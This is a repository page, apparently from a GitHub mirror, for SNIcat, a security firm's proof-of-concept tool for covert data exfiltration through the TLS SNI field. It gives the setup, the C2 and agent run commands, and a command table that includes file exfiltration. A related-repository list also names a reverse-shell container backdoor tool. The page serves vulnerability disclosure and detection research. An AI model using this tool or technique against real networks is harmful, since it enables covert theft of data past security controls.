• Stars
    star
    125
  • Rank 286,335 (Top 6 %)
  • Language
    Python
  • License
    ISC License
  • Created over 4 years ago
  • Updated over 3 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

SNIcat

SNIcat (Server Name Indication Concatenator)

SNIcat

SNIcat is a proof of concept tool that performs data exfiltration, utilizing a covert channel method via. Server Name Indication, a TLS Client Hello Extension. The tool consists of an agent which resides on the compromised internal host, and a Command&Control Server which controls the agent and gathers exfiltrated data.

The full story behind SNIcat can be found in our blog post

Disclaimer

SNIcat has been tested on macOS and a variety of linux distributions. Even though it can be easily ported, there is currently no Windows version, as this is just a PoC tool.

The exfiltration method does not work with explicit proxies, due to the use of HTTP CONNECT, and not TLS Client Hello, when connecting via an explicit proxy.
SNIcat might not work with products and software versions that we havenโ€™t tested, but that does not mean the products and/or software versions arenโ€™t vulnerable.

SNIcat in action

Background and Scenario

We discovered a new stealthy method of data exfiltration that specifically bypasses security perimeter solutions such as web proxies, next generation firewalls (NGFW), and dedicated solutions for TLS interception and inspection. Our testing validates that this is a widespread issue that affects different types of security solutions as well as solutions from a variety of vendors. We successfully tested our technique against products from Cisco, F5 Networks, Palo Alto Networks and Fortinet, and speculate that many other vendors also are susceptible.

By using our exfiltration method SNIcat, we found that we can bypass a security perimeter solution performing TLS inspection, even when the Command & Control (C2) domain we use is blocked by common reputation and threat prevention features built into the security solutions themselves. In short, we found that solutions designed to protect users, introduced them to a new vulnerability.

We have also provided a Suricata signature for detecting this specific tool.

Installation

Clone the repository:

https://github.com/mnemonic-no/SNIcat.git

Install dependencies:

pip3 install -r requirements.txt --user

Initial setup

C2

Aquire a wildcard certificate and key from a publically trusted CA. This represents the GOOD_CERT and GOOD_CERT_KEY.
Utilise a self-signed certificate and key (not in any trust store) as a BAD_CERT and BAD_CERT_KEY.

(*) USAGE:      'python3 snicat_c2.py <LISTENING_PORT> <GOOD_CERT> <GOOD_CERT_KEY> <BAD_CERT> <BAD_CERT_KEY> log={on|off}'
(*) EXAMPLE:    'python3 snicat_c2_final.py 443 certs/good.pem certs/good.key certs/ssl-cert-snakeoil.pem log=off'

Agent

(*) USAGE:      'python3 snicat_agent.py <C2_SERVER_IP> <C2_SERVER_PORT> log={on|off}'
(*) Example:    'python3 snicat_agent.py 192.0.2.1 443 log=off'

Usage

C2 Available commands

LIST			 - 	display all content in current folder
LS			 - 	display only files in the currenet folder
SIZE			 - 	display size of files in the currenet folder
LD			 - 	display every directory in current folder
CB			 - 	moves down to root tree folder - similar to 'cd .. '
CD <folder-id> 		 - 	moves up the specified folder
EX <file-id> 		 - 	exfiltrate the specified file
ALIVE 			 - 	check alive/dead agent
EXIT 			 - 	quit the C2 server

More Repositories

1

grafeo

Open platform for modelling, collection and exchange of knowledge
Java
154
star
2

ScapySMS

Complete SMS packet manipulation
Python
99
star
3

provreq

Adversary Emulation Planner
Python
37
star
4

dnscache

Volatility memory forensics plugin for extracting Windows DNS Cache
Python
29
star
5

act

ACT documentation repo
15
star
6

act-frontend

ACT Frontend UI
TypeScript
10
star
7

act-scio

NLP processing of documents to extract potential threat intelligence data
Clojure
7
star
8

act-workers

Workers for enrichment of ACT data
Python
6
star
9

act-api-python

Access the ACT API with Python
Python
4
star
10

act-scio2

Scio v2 is a reimplementation of Scio in Python3
Python
4
star
11

pdblist

Volatility memory forensics plugin for extracting listing PDB entries of modules.
Python
3
star
12

commons

Reusable Java utilities
Java
3
star
13

common-services

Reusable Java components for building scalable microservices
Java
3
star
14

messaging

Java messaging libraries
Java
2
star
15

act-splunk

Splunk App giving access to ACT data
Python
2
star
16

action-triggers

Common framework for executing dynamically defined actions based on custom service activity
Java
2
star
17

act-workshop-api

Assignments for the ACT API
Jupyter Notebook
2
star
18

aep

Adversary Emulation Planner Data Repository
2
star
19

recruitment-challenges

TypeScript
1
star
20

act-scio-api

SCIO REST API
Clojure
1
star
21

act-bootstrap

DEPRECATED Tool to bootstrap ACT data model
Python
1
star
22

pdns-splunk

Splunk App giving access to Passive DNS data
Python
1
star
23

act-types

Populate the types of the platform
Python
1
star
24

act-utils

Helper utilities for the act platform
Python
1
star
25

container-image-infection

Infect any container image with a reverse-shell backdoor, without changing its original behavior
Dockerfile
1
star